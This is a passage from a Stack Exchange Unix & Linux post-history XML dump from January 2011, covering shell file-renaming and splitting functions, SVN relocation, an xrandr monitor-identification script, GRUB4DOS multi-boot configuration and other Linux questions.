folders:&#xD;&#xA;&#xD;&#xA;    frename () {&#xD;&#xA;    if [ $# -gt 0 ]&#xD;&#xA;    then&#xD;&#xA;     dir=&quot;$(echo $1)&quot;&#xD;&#xA;      dirprovera&#xD;&#xA;      cd $dir&#xD;&#xA;      for f in *&#xD;&#xA;        do&#xD;&#xA;          mv &quot;$f&quot; &quot;`echo &quot;$f&quot; | tr -s &quot; &quot; &quot;_&quot; | tr &quot;A-Z&quot; &quot;a-z&quot;`&quot; 2&gt;/dev/null &amp;&#xD;&#xA;        done&#xD;&#xA;      tipka&#xD;&#xA;    else&#xD;&#xA;     echo &quot;Upotreba: frename [direktorijum]&quot; &gt;&amp;2&#xD;&#xA;    fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and like this for spliting large files into several small ones:&#xD;&#xA;&#xD;&#xA;    fsplit () {&#xD;&#xA;    if [ $# -gt 1 ]&#xD;&#xA;    then&#xD;&#xA;     file=&quot;$(echo $1)&quot;&#xD;&#xA;     SIZE=&quot;$(echo $2)&quot;&#xD;&#xA;     PREFIX=&quot;$(echo $3)&quot;&#xD;&#xA;     if [ -z &quot;$PREFIX&quot; ]; then PREFIX=&quot;fsplit&quot;; fi&#xD;&#xA;      fileprovera&#xD;&#xA;      split -d -a 3 -b $SIZE $file &quot;$PREFIX-part-&quot; || echo &quot;Doslo je do greske!&quot;&#xD;&#xA;      tipka&#xD;&#xA;    else&#xD;&#xA;     echo &quot;Upotreba: fsplit [fajl] [velicina] [prefix]&#xD;&#xA;    Za velicinu se koriste m (MB), g (GB) ili k (KB) (15m, 650kb, 4.7g...)&#xD;&#xA;    &#xD;&#xA;    Prefiks moze sadrzati brojeve, slova, i crtice (primer: moj_pre-fiks)&#xD;&#xA;    Ukoliko ne unesete prefiks isti ce biti dodeljen automatski u sledecem formatu:&#xD;&#xA;      fsplit-part-XXX&#xD;&#xA;    gde XXX predstavlja broj dela fajla (001, 005, 189...)&quot; &gt;&amp;2&#xD;&#xA;    fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Also i edited a lot of aliases since i find that it's far more easier to use one command with arguments as default in some cases (like in ls, grep and small commands) then to type all that down every time." />
  <row Id="15350" PostHistoryTypeId="2" PostId="6678" RevisionGUID="c2c3e55c-9db0-4ce5-be27-739bc9deecb2" CreationDate="2011-01-30T20:09:56.707" UserId="3629" Text="The `--relocate` flag updates your working copy if the URL used to reach your **existing** repository changes.  There's not a good way for SVN to switch a working copy to a **new** repository, because even though it might contain the same files, any number of other things might be different -- the history, the number of checkins, the contents of the files, et cetera, and SVN isn't designed to account for those sorts of differences.&#xD;&#xA;&#xD;&#xA;You've asked your question purely from the client perspective, but it would be useful to have a bigger picture of what you're trying to do.  For instance, are you trying to move your own repository to a new server?  If so, what method did you use, and might there be a better one?  Or have you been using a repository managed by someone else and they moved it?  Is all of the history of the old repository present in the new repository?  Is there a reason you/they can't copy the SVN database files to the new server instead of creating a brand new repository?&#xD;&#xA;&#xD;&#xA;There is a way to force what you want -- namely, delete your .svn directories from your working copy (make a backup first!), check out a new copy from the new server, and move all of the .svn directories from the new copy to the corresponding places in your working copy.  But only do that once you've considered the bigger picture." />
  <row Id="15351" PostHistoryTypeId="25" PostId="6676" RevisionGUID="b44405e1-530c-491c-ad99-ad49992203c7" CreationDate="2011-01-30T20:16:09.980" Comment="http://twitter.com/#!/StackUnix/status/31807903971147777" />
  <row Id="15352" PostHistoryTypeId="2" PostId="6679" RevisionGUID="ea33a784-8778-48f8-8de5-5c360043c71b" CreationDate="2011-01-30T20:47:22.923" UserId="885" Text="Under KDE, the “Multiple Monitors” tab in the “Display” panel in the Control Center (`kcontrol`, KDE 3) or System Settings (`systemsettings`, KDE 4) has just this (click on “Identify all displays”). You don't have to be running KDE as a desktop environment to use this, you just have to have the right component installed.&#xD;&#xA;&#xD;&#xA;If you prefer to do things by hand, the following snippet parses the output from [xrandr](http://linux.die.net/man/1/xrandr). It specifically looks for lines like `DVI-0 connected 1600x1200+3200+0 …`, which gives the position (3200 pixels from the left, 0 pixels from the top), size (width 1600, height 1200), and name (`DVI-0`) of a monitor. It displays a pop-up with this information using `kdialog`. The script kills all `kdialog` instances as soon as one of them returns, which happens when you click on any pop-up.&#xD;&#xA;&#xD;&#xA;Any other program similar to `kdialog` would do, as long as you can specify the position of the pop-up (this isn't the case with the better-known `zenity`). The shell has to be ksh (it can be pdksh or ATT ksh), because other shells (at least, bash and zsh) don't behave well enough in the presence of multiple jobs (specifically, their `wait` built-in isn't interrupted by a SIGCHLD).&#xD;&#xA;&#xD;&#xA;    LC_ALL=C xrandr |&#xD;&#xA;    sed -ne 's/^\([^ ][^ ]*\)  *connected  *\([0-9][0-9]*\)x\([0-9][0-9]*\)+\([0-9][0-9]*\)+\([0-9][0-9]*\) .*$/\1 \2 \3 \4 \5/p' |&#xD;&#xA;    ksh -c '&#xD;&#xA;      i=1&#xD;&#xA;      trap &quot;trap - CHLD&quot; CHLD&#xD;&#xA;      trap : INT&#xD;&#xA;      while read -r name w h x y; do&#xD;&#xA;        kdialog --geometry +$(($x+2*$w/5))+$(($y+2*$h/5)) \&#xD;&#xA;                --passivepopup &quot;$i $name ${w}x${h} +$x+$y&quot; &amp;&#xD;&#xA;        i=$(($i+1))&#xD;&#xA;      done&#xD;&#xA;      sleep 10 &amp;  # Time out after 10 seconds&#xD;&#xA;      wait  # Wait until any of the kdialog instances or sleep returns&#xD;&#xA;      while [ $i -ne 0 ]; do&#xD;&#xA;        kill %$i 2&gt;/dev/null&#xD;&#xA;        i=$(($i-1))&#xD;&#xA;      done&#xD;&#xA;      [ $first -eq 0 ] || echo You clicked on monitor $first&#xD;&#xA;    '&#xD;&#xA;" />
  <row Id="15353" PostHistoryTypeId="2" PostId="6680" RevisionGUID="216a0faf-3684-45e6-bb8d-3919ff429572" CreationDate="2011-01-30T21:09:16.753" UserId="3397" Text="First things first, debug the module?  Just see if you can load it up in gdb it **might** point you straight at a line that uses the relevant variable(or close to it).  &#xD;&#xA;  &#xD;&#xA;oh, and you might find this article useful: http://linux-hacks.blogspot.com/2009/07/using-gdb-for-debugging-kernel-modules.html" />
  <row Id="15354" PostHistoryTypeId="2" PostId="6681" RevisionGUID="7c9436b9-fc9b-4699-b92c-0f12e8ebe94c" CreationDate="2011-01-30T21:11:24.350" UserId="29" Text="I changed my naming scheme on `rsnapshot` from `localhost` to my actual host name, unfortunately this 'caused hardlinks to not be made in the next backup. Is there any way that I can relink my backup so that I'm not wasting space on my backup drive?" />
  <row Id="15355" PostHistoryTypeId="1" PostId="6681" RevisionGUID="7c9436b9-fc9b-4699-b92c-0f12e8ebe94c" CreationDate="2011-01-30T21:11:24.350" UserId="29" Text="Re hardlink and old rsnapshot backups" />
  <row Id="15356" PostHistoryTypeId="3" PostId="6681" RevisionGUID="7c9436b9-fc9b-4699-b92c-0f12e8ebe94c" CreationDate="2011-01-30T21:11:24.350" UserId="29" Text="ébackupàérsnapshotà" />
  <row Id="15357" PostHistoryTypeId="2" PostId="6682" RevisionGUID="e1e9aac9-6fef-47d9-be37-c706e534b11a" CreationDate="2011-01-30T21:25:51.720" UserId="281" Text="`svn switch --relocate` expects to find the same repository at a new URL, not a different one.&#xD;&#xA;&#xD;&#xA;Did you use `svnsync` to create the new repository? In that case you can use `svnadmin setuuid` to use the same uuid as the old repository. According to the [svnsync documentation in the svn book][1], this should enable you to reuse existing working copies.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://svnbook.red-bean.com/en/1.5/svn.ref.svnadmin.c.setuuid.html" />
  <row Id="15358" PostHistoryTypeId="5" PostId="6669" RevisionGUID="f6a6e714-e0fc-45b4-83da-6bd2deb6d47e" CreationDate="2011-01-30T22:39:43.957" UserId="4309" Comment="Included comments on the 3 main questions of the Original Poster" Text="What you are trying to achieve is stretching boot technology  :)&#xD;&#xA;However I think it is possible, though I am not knowledgable enough to give a complete walkthrough.&#xD;&#xA;&#xD;&#xA;First, like said before, distros have very different requirements. Second, the good thing on the other hand, you can also find distros which need minimal requirements.&#xD;&#xA;&#xD;&#xA;I would recommend to use GRUB4DOS as bootloader. See this [link][1] how to use it with USB (because it has the find --set root -- command, which is important if you have mobile device like usb).&#xD;&#xA;&#xD;&#xA;Then you have to decide how many partitions you will use.&#xD;&#xA;&quot;Standard install&quot; is always in a single partition. So if you have a 8 GB USB stick and take 4 GB partition (which allows minimal installation) you would be limmited to 2 different &quot;Full Installs&quot; of main distros like debian or fedora.&#xD;&#xA;&#xD;&#xA;However there are some small and specialized Linux distributions. For example &quot;Puppy Linux&quot; is very small and has a special &quot;Frugal Installation&quot; mode. It comes in many flavors (e.g. there is MacPup with tries to implement an Apple like Desktop, or Fatdog64 which is a 64-bit Linux).&#xD;&#xA;&#xD;&#xA;In this frugal installation mode it just uses exactly 1 directory and can be installed in parallel to an existing Linux or Windows on the harddisk (or USB). I am sure there are other distributions that support similar modes.&#xD;&#xA;&#xD;&#xA;Since Puppy Linux is small (&lt; 150 MB) and assuming you reserve a small savefile for each installation (512 MB), you could easily install like 10 different Operating Systems on the USB stick. There are even smaller Linuxes (Slitaz, Tinycore), which you could use.&#xD;&#xA;&#xD;&#xA;As example I attach the menu.lst (GRUB4DOS) file from my current PC-install,&#xD;&#xA;The first 8 entries are all different Puppy Linux installation on hd0,2 (i.e. the 3rd partition on the 1st hardisk), then there is a minimal debian installation in a small extra partition and also the original Windows-XP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    timeout=10&#xD;&#xA;    default=0  &#xD;&#xA;    &#xD;&#xA;      title Linux Buero (on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /puppy431-de/vmlinuz psubdir=puppy431-de pkeys=de ro vga=normal&#xD;&#xA;      initrd /puppy431-de/initrd.gz&#xD;&#xA;        &#xD;&#xA;      title Live CD build (on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /puppylivecdbuild/vmlinuz psubdir=puppylivecdbuild ro vga=normal&#xD;&#xA;      initrd /puppylivecdbuild/initrd.gz&#xD;&#xA;       &#xD;&#xA;      title sage developement(on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /Sage46dev/vmlinuz psubdir=Sage46dev pfix=nocopy ro vga=normal&#xD;&#xA;      initrd /Sage46dev/initrd.gz&#xD;&#xA;    &#xD;&#xA;      title sage developement test and fun&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /Sage-test/vmlinuz psubdir=Sage-test pfix=nocopy,noram ro vga=normal&#xD;&#xA;      initrd /Sage-test/initrd.gz&#xD;&#xA;    &#xD;&#xA;      title Lupq 511&#xD;&#xA;      find --set-root --ignore-floppies /lupq511/initrd.gz&#xD;&#xA;      kernel /lupq511/vmlinuz psubdir=&quot;lupq511&quot; pfix=nocopy pkeys=de ro vga=normal&#xD;&#xA;      initrd /lupq511/initrd.gz &#xD;&#xA;    &#xD;&#xA;      title Lupu 520 - New kid on the block&#xD;&#xA;      find --set-root --ignore-floppies /lupu-520/initrd.gz&#xD;&#xA;      kernel /lupu-520/vmlinuz psubdir=&quot;lupu-520&quot; pfix=nocopy pkeys=de ro vga=normal&#xD;&#xA;      initrd /lupu-520/initrd.gz &#xD;&#xA;    &#xD;&#xA;      title wary beta (on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /wary/vmlinuz psubdir=wary ro vga=normal&#xD;&#xA;      initrd /wary/initrd.gz&#xD;&#xA;    &#xD;&#xA;      title spup (on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /spup/vmlinuz psubdir=spup ro vga=normal&#xD;&#xA;      initrd /spup/initrd.gz&#xD;&#xA;    &#xD;&#xA;      title Debian (on /dev/sda2)&#xD;&#xA;      find --set-root --ignore-floppies /initrd.img&#xD;&#xA;      kernel /vmlinuz root=/dev/sda2 ro&#xD;&#xA;      initrd /initrd.img&#xD;&#xA;    &#xD;&#xA;      title Windows NT/2K/XP\nStart Windows if installed on HDD&#xD;&#xA;      fallback 7&#xD;&#xA;      find --set-root --ignore-floppies /ntldr&#xD;&#xA;      chainloader /ntldr&#xD;&#xA;   &#xD;&#xA;    boot&#xD;&#xA;&#xD;&#xA;The menu.lst on your USB could look similar, the GRUB4DOS command&#xD;&#xA;`find --set-root --ignore-floppies /lupq511/initrd.gz`  (looks for this file in all drives) could be very useful if you use USB, so you don't have to use fixed entries for your drive.&#xD;&#xA;&#xD;&#xA;With the above information some comments on your original questions:&#xD;&#xA;Q:    * I understand that the /boot/img/[SystemName] folder will store the image for a specific system, which may use various (or the same) versions of linux kernels stored in the /boot/kernel directory (at least, that's how I'd like to set it up)&#xD;&#xA;&#xD;&#xA;A: I am not sure if that is going to work, since most of the major distributions expect to have exclusive right of their partition and install a specific directory structure for their files. &#xD;&#xA;In my opinion it is better to respect the default setup and provide what the distribution expects, i.e. some need an exclusive partition, some will be happy with just a directory on a shared partition. I don't say it not possible to install multible OSES to 1 partition in a non default way, but it is begging for troubles and in my opinion not practical for a linux-newcomer. A possible workaround I mention at the bottom of my post are &quot;Wubi-like&quot; installs.&#xD;&#xA;&#xD;&#xA;Q:   * However, most of these systems just have a kernel in their directories called &quot;linux&quot; (not stating the version). I can search out which kernel these all use, but what's the best place to get the kernels themselves to copy to /boot/kernel?&#xD;&#xA;&#xD;&#xA;A: I think the kernels should go exactly there where the distributions usually have them. There is no need to store them in a seperate /boot/kernel folder, and I also would not recommnend to try to share them between distributions. Storage space is minimal for a kernel (like 2-3 MB). There are really a lot of versions and subversions and sometimes there are even specific patches applied to kernels of distributions. To plugin in a different/untested kernel is an unneeded experiment.&#xD;&#xA;&#xD;&#xA;Q:    * After I get the kernels, I imagine the rest is mostly copying the device to /boot/img/ and creating the proper entry in menu.lst, correct? I can do that on a system by system basis once I can get the kernels to refer to.&#xD;&#xA;&#xD;&#xA;A: As mentioned before, better create seperate partitions for those distributions which need them and mix in the not so greedy distributions in their own folders. Treat kernel, initrd and rest of the distro as a unit.&#xD;&#xA;&#xD;&#xA;One last idea. If you dont want to use different partitions you could try something like &quot;WUBI&quot; installs for the distros demanding a full install to its own partition. This means that you create large files with its own ext2/ext3 filesystems on the USB, then mount them as &quot;drives&quot; and install the OS into it.&#xD;&#xA;(I call it WUBI, because this is the best known application).&#xD;&#xA;&#xD;&#xA;the following should be a Grub4dos menu.lst entry to boot a &quot;Wubi install&quot;.&#xD;&#xA;&#xD;&#xA;    # Add the ntfs module - just needed for Installation on a Windows Partition&#xD;&#xA;    insmod ntfs&#xD;&#xA;    # Set root (normally would be sda1, or hd0,1 Change as necessary&#xD;&#xA;    set root=(hd0,1)&#xD;&#xA;    loopback loop0 /ubuntu/disks/root.disk&#xD;&#xA;    set root=(loop0)&#xD;&#xA;    linux /boot/vmlinuz root=/dev/sda1 loop=/ubuntu/disks/root.disk ro&#xD;&#xA;    initrd /boot/initrd/initrd.img&#xD;&#xA;    boot&#xD;&#xA;&#xD;&#xA;From [here][2].&#xD;&#xA;&#xD;&#xA;You see, there are 2 &quot;set root&quot; commands, the second after &quot;root.disk&quot; which contains the Linux, is mounted as loop0.&#xD;&#xA;&#xD;&#xA;I hope I could give some ideas, although it is no complete walkthrough,&#xD;&#xA;best&#xD;&#xA;Emil&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.themudcrab.com/acronis_grub4dos.php&#xD;&#xA;  [2]: http://blogold.chinaunix.net/u3/113851/showart_2311251.html" />
  <row Id="15359" PostHistoryTypeId="5" PostId="6669" RevisionGUID="9505a7ad-68b4-40a3-9e37-d19b4c626002" CreationDate="2011-01-30T22:46:45.410" UserId="4309" Comment="added 7 characters in body" Text="What you are trying to achieve is stretching boot technology  :)&#xD;&#xA;However I think it is possible, though I am not knowledgable enough to give a complete walkthrough.&#xD;&#xA;&#xD;&#xA;First, like said before, distros have very different requirements. Second, the good thing on the other hand, you can also find distros which need minimal requirements.&#xD;&#xA;&#xD;&#xA;I would recommend to use GRUB4DOS as bootloader. See this [link][1] how to use it with USB (because it has the find --set root -- command, which is important if you have mobile device like usb).&#xD;&#xA;&#xD;&#xA;Then you have to decide how many partitions you will use.&#xD;&#xA;Standard &quot;Full install&quot; is always in a single partition. So if you have a 8 GB USB stick and take 4 GB partition (which allows minimal installation) you would be limmited to 2 different &quot;Full Installs&quot; of main distros like debian or fedora.&#xD;&#xA;&#xD;&#xA;However there are some small and specialized Linux distributions. For example &quot;Puppy Linux&quot; is very small and has a special &quot;Frugal Installation&quot; mode. It comes in many flavors (e.g. there is MacPup with tries to implement an Apple like Desktop, or Fatdog64 which is a 64-bit Linux).&#xD;&#xA;&#xD;&#xA;In this &quot;Frugal installation&quot; mode it just uses exactly 1 directory and can be installed in parallel to an existing Linux or Windows on the harddisk (or USB). I am sure there are other distributions that support similar modes.&#xD;&#xA;&#xD;&#xA;Since Puppy Linux is small (&lt; 150 MB) and assuming you reserve a small savefile for each installation (512 MB), you could easily install like 10 different Operating Systems on the USB stick. There are even smaller Linuxes (Slitaz, Tinycore), which you could use.&#xD;&#xA;&#xD;&#xA;As example I attach the menu.lst (GRUB4DOS) file from my current PC-install,&#xD;&#xA;The first 8 entries are all different Puppy Linux installation on hd0,2 (i.e. the 3rd partition on the 1st hardisk), then there is a minimal debian installation in a small extra partition and also the original Windows-XP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    timeout=10&#xD;&#xA;    default=0  &#xD;&#xA;    &#xD;&#xA;      title Linux Buero (on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /puppy431-de/vmlinuz psubdir=puppy431-de pkeys=de ro vga=normal&#xD;&#xA;      initrd /puppy431-de/initrd.gz&#xD;&#xA;        &#xD;&#xA;      title Live CD build (on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /puppylivecdbuild/vmlinuz psubdir=puppylivecdbuild ro vga=normal&#xD;&#xA;      initrd /puppylivecdbuild/initrd.gz&#xD;&#xA;       &#xD;&#xA;      title sage developement(on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /Sage46dev/vmlinuz psubdir=Sage46dev pfix=nocopy ro vga=normal&#xD;&#xA;      initrd /Sage46dev/initrd.gz&#xD;&#xA;    &#xD;&#xA;      title sage developement test and fun&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /Sage-test/vmlinuz psubdir=Sage-test pfix=nocopy,noram ro vga=normal&#xD;&#xA;      initrd /Sage-test/initrd.gz&#xD;&#xA;    &#xD;&#xA;      title Lupq 511&#xD;&#xA;      find --set-root --ignore-floppies /lupq511/initrd.gz&#xD;&#xA;      kernel /lupq511/vmlinuz psubdir=&quot;lupq511&quot; pfix=nocopy pkeys=de ro vga=normal&#xD;&#xA;      initrd /lupq511/initrd.gz &#xD;&#xA;    &#xD;&#xA;      title Lupu 520 - New kid on the block&#xD;&#xA;      find --set-root --ignore-floppies /lupu-520/initrd.gz&#xD;&#xA;      kernel /lupu-520/vmlinuz psubdir=&quot;lupu-520&quot; pfix=nocopy pkeys=de ro vga=normal&#xD;&#xA;      initrd /lupu-520/initrd.gz &#xD;&#xA;    &#xD;&#xA;      title wary beta (on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /wary/vmlinuz psubdir=wary ro vga=normal&#xD;&#xA;      initrd /wary/initrd.gz&#xD;&#xA;    &#xD;&#xA;      title spup (on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /spup/vmlinuz psubdir=spup ro vga=normal&#xD;&#xA;      initrd /spup/initrd.gz&#xD;&#xA;    &#xD;&#xA;      title Debian (on /dev/sda2)&#xD;&#xA;      find --set-root --ignore-floppies /initrd.img&#xD;&#xA;      kernel /vmlinuz root=/dev/sda2 ro&#xD;&#xA;      initrd /initrd.img&#xD;&#xA;    &#xD;&#xA;      title Windows NT/2K/XP\nStart Windows if installed on HDD&#xD;&#xA;      fallback 7&#xD;&#xA;      find --set-root --ignore-floppies /ntldr&#xD;&#xA;      chainloader /ntldr&#xD;&#xA;   &#xD;&#xA;    boot&#xD;&#xA;&#xD;&#xA;The menu.lst on your USB could look similar, the GRUB4DOS command&#xD;&#xA;`find --set-root --ignore-floppies /lupq511/initrd.gz`  (looks for this file in all drives) could be very useful if you use USB, so you don't have to use fixed entries for your drive.&#xD;&#xA;&#xD;&#xA;With the above information some comments on your original questions:&#xD;&#xA;&#xD;&#xA;Q:    * I understand that the /boot/img/[SystemName] folder will store the image for a specific system, which may use various (or the same) versions of linux kernels stored in the /boot/kernel directory (at least, that's how I'd like to set it up)&#xD;&#xA;&#xD;&#xA;A: I am not sure if that is going to work, since most of the major distributions expect to have exclusive right of their partition and install a specific directory structure for their files. &#xD;&#xA;In my opinion it is better to respect the default setup and provide what the distribution expects, i.e. some need an exclusive partition, some will be happy with just a directory on a shared partition. I don't say it not possible to install multible OSES to 1 partition in a non default way, but it is begging for troubles and in my opinion not practical for a linux-newcomer. A possible workaround I mention at the bottom of my post (&quot;Wubi-like&quot; installs).&#xD;&#xA;&#xD;&#xA;Q:   * However, most of these systems just have a kernel in their directories called &quot;linux&quot; (not stating the version). I can search out which kernel these all use, but what's the best place to get the kernels themselves to copy to /boot/kernel?&#xD;&#xA;&#xD;&#xA;A: I think the kernels should go exactly there where the distributions usually have them. There is no need to store them in a seperate /boot/kernel folder, and I also would not recommnend to try to share them between distributions. Storage space is minimal for a kernel (like 2-3 MB). There are really a lot of versions and subversions and sometimes there are even specific patches applied to kernels of distributions. To plugin in a different/untested kernel is an unneeded experiment.&#xD;&#xA;&#xD;&#xA;Q:    * After I get the kernels, I imagine the rest is mostly copying the device to /boot/img/ and creating the proper entry in menu.lst, correct? I can do that on a system by system basis once I can get the kernels to refer to.&#xD;&#xA;&#xD;&#xA;A: As mentioned before, better create seperate partitions for those distributions which need them and mix in the not so greedy distributions in their own folders. Treat kernel, initrd and rest of the distro as a unit.&#xD;&#xA;&#xD;&#xA;One last idea. If you dont want to use different partitions you could try something like &quot;WUBI&quot; installs for the distros demanding a full install to its own partition. This means that you create large files with its own ext2/ext3 filesystems on the USB, then mount them as &quot;drives&quot; and install the OS into it.&#xD;&#xA;(I call it WUBI, because this is the best known application).&#xD;&#xA;&#xD;&#xA;the following should be a Grub4dos menu.lst entry to boot a &quot;Wubi install&quot;.&#xD;&#xA;&#xD;&#xA;    # Add the ntfs module - just needed for Installation on a Windows Partition&#xD;&#xA;    insmod ntfs&#xD;&#xA;    # Set root (normally would be sda1, or hd0,1 Change as necessary&#xD;&#xA;    set root=(hd0,1)&#xD;&#xA;    loopback loop0 /ubuntu/disks/root.disk&#xD;&#xA;    set root=(loop0)&#xD;&#xA;    linux /boot/vmlinuz root=/dev/sda1 loop=/ubuntu/disks/root.disk ro&#xD;&#xA;    initrd /boot/initrd/initrd.img&#xD;&#xA;    boot&#xD;&#xA;&#xD;&#xA;From [here][2].&#xD;&#xA;&#xD;&#xA;You see, there are 2 &quot;set root&quot; commands, the second after &quot;root.disk&quot; which contains the Linux, is mounted as loop0.&#xD;&#xA;&#xD;&#xA;I hope I could give some ideas, although it is no complete walkthrough,&#xD;&#xA;best&#xD;&#xA;Emil&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.themudcrab.com/acronis_grub4dos.php&#xD;&#xA;  [2]: http://blogold.chinaunix.net/u3/113851/showart_2311251.html" />
  <row Id="15360" PostHistoryTypeId="25" PostId="6681" RevisionGUID="e39999f9-d0a3-4337-a5ec-d8f1cb127b71" CreationDate="2011-01-30T23:16:10.230" Comment="http://twitter.com/#!/StackUnix/status/31853204010434560" />
  <row Id="15361" PostHistoryTypeId="2" PostId="6683" RevisionGUID="45ea8fc4-7640-43ba-8c05-221da5e9539b" CreationDate="2011-01-31T02:06:50.677" UserId="1655" Text="I made a Perl script that does something similar to what you're talking about:&#xD;&#xA;&#xD;&#xA;http://pastebin.com/U7mFHZU7&#xD;&#xA;&#xD;&#xA;Basically, it just traverses a directory, calculating the SHA1sum of the files in it, hashing it and linking matches together. It's come in handy on many, many occasions." />
  <row Id="15362" PostHistoryTypeId="25" PostId="6654" RevisionGUID="f06d7b3e-fa6e-4ca5-b734-d1f76339522b" CreationDate="2011-01-31T02:16:09.797" Comment="http://twitter.com/#!/StackUnix/status/31898499968667649" />
  <row Id="15363" PostHistoryTypeId="2" PostId="6684" RevisionGUID="a5656a37-ff21-4b15-a104-e2ebc76b4c12" CreationDate="2011-01-31T05:03:21.923" UserId="1627" Text="You can do that with bash, bu there are other tools more suited for the job.&#xD;&#xA;&#xD;&#xA;On most distros:&#xD;&#xA;&#xD;&#xA;    rename file1 newfilename file1.*&#xD;&#xA;&#xD;&#xA;On Debian and Ubuntu, replace `rename` with `rename.ul`." />
  <row Id="15364" PostHistoryTypeId="25" PostId="6652" RevisionGUID="50cdf27b-3f38-42ef-9b79-bbe328680b04" CreationDate="2011-01-31T05:16:09.943" Comment="http://twitter.com/#!/StackUnix/status/31943798669967360" />
  <row Id="15365" PostHistoryTypeId="2" PostId="6685" RevisionGUID="3df95531-8baf-46cd-90ca-8bff94ca7fc6" CreationDate="2011-01-31T06:10:37.290" UserId="3309" Text="Your syntax looks correct. I have a few recommendations. First try taking off the `quiet splash`. Secondly I would list the full path to the kernel and initrd image.&#xD;&#xA;&#xD;&#xA;    title Ubuntu&#xD;&#xA;        root (hd0,4)&#xD;&#xA;        kernel /boot/vmlinuz-&lt;ubuntu-kernel-version&gt; root=/dev/sda5 ro&#xD;&#xA;        initrd /boot/initrd-&lt;ubuntu-kernel-version&gt;&#xD;&#xA;&#xD;&#xA;Lastly, make sure you update grub.&#xD;&#xA;&#xD;&#xA;      grub --batch --device-map=/boot/grub/device.map &lt; /etc/grub.conf&#xD;&#xA;&#xD;&#xA;**Caveate:** I don't use SUSE, I found that command [here][1]. Hope this helps.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.novell.com/documentation/suse91/suselinux-adminguide/html/ch07s04.html" />
  <row Id="15366" PostHistoryTypeId="2" PostId="6686" RevisionGUID="9548d7f3-b02f-4f9c-b238-8500ee0b7905" CreationDate="2011-01-31T07:31:24.927" UserId="250" Text="I have just accidentally extracted a cpio archive as root into `/`. Now my `/` is littered with junks. What is a proper way to clean up those files?" />
  <row Id="15367" PostHistoryTypeId="1" PostId="6686" RevisionGUID="9548d7f3-b02f-4f9c-b238-8500ee0b7905" CreationDate="2011-01-31T07:31:24.927" UserId="250" Text="Clean up / after accidentally extracting archive into it?" />
  <row Id="15368" PostHistoryTypeId="3" PostId="6686" RevisionGUID="9548d7f3-b02f-4f9c-b238-8500ee0b7905" CreationDate="2011-01-31T07:31:24.927" UserId="250" Text="érootàéarchiveà" />
  <row Id="15369" PostHistoryTypeId="2" PostId="6687" RevisionGUID="72892f36-c8a9-42b9-8257-40b18a324195" CreationDate="2011-01-31T07:34:27.703" UserId="4340" Text="Hi&#xD;&#xA;&#xD;&#xA;I was reading &quot;Linux device drivers, 3rd edition&quot; and faced a few kernel items I don't quite understand. Hope gurus on this forum will help me out.&#xD;&#xA;&#xD;&#xA;1) Does the Linux kernel internally operate with virtual or physical addresses? What especially confuses me is that there are several types of addresses (logical, virtual, bus and physical) and they are all valid and operable by the kernel.&#xD;&#xA;&#xD;&#xA;2) Is that correct that CPU instructions can't directly address data stored in peripheral devices and therefore addressable memory is used, i.e. buffers, for these purposes?&#xD;&#xA;&#xD;&#xA;4) Can a process sleep when requesting semaphore (which has a value 0) and has to wait for it?&#xD;&#xA;&#xD;&#xA;4) Atomic operations -- are these guaranteed by specific CPU instructions?&#xD;&#xA;" />
  <row Id="15370" PostHistoryTypeId="1" PostId="6687" RevisionGUID="72892f36-c8a9-42b9-8257-40b18a324195" CreationDate="2011-01-31T07:34:27.703" UserId="4340" Text="Questions on Linux kernel internals from newbie" />
  <row Id="15371" PostHistoryTypeId="3" PostId="6687" RevisionGUID="72892f36-c8a9-42b9-8257-40b18a324195" CreationDate="2011-01-31T07:34:27.703" UserId="4340" Text="élinuxàékernelà" />
  <row Id="15373" PostHistoryTypeId="2" PostId="6689" RevisionGUID="de92907d-4bb9-4510-85f5-243537551971" CreationDate="2011-01-31T08:10:53.773" UserId="4335" Text="Hello,&#xD;&#xA;&#xD;&#xA;Few days back I mistakenly formatted a partition on my external hard drive by clicking Format from the Context menu in Computer. I want to know that how can I prevent non-root user from being able to do so. At the same time I need the non-root user to be able to read and write on the partition. &#xD;&#xA;&#xD;&#xA;I use Fedora 14.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="15374" PostHistoryTypeId="1" PostId="6689" RevisionGUID="de92907d-4bb9-4510-85f5-243537551971" CreationDate="2011-01-31T08:10:53.773" UserId="4335" Text="Prevent non-root user from formatting a partition" />
  <row Id="15375" PostHistoryTypeId="3" PostId="6689" RevisionGUID="de92907d-4bb9-4510-85f5-243537551971" CreationDate="2011-01-31T08:10:53.773" UserId="4335" Text="élinuxàéfedoraàépartitionà" />
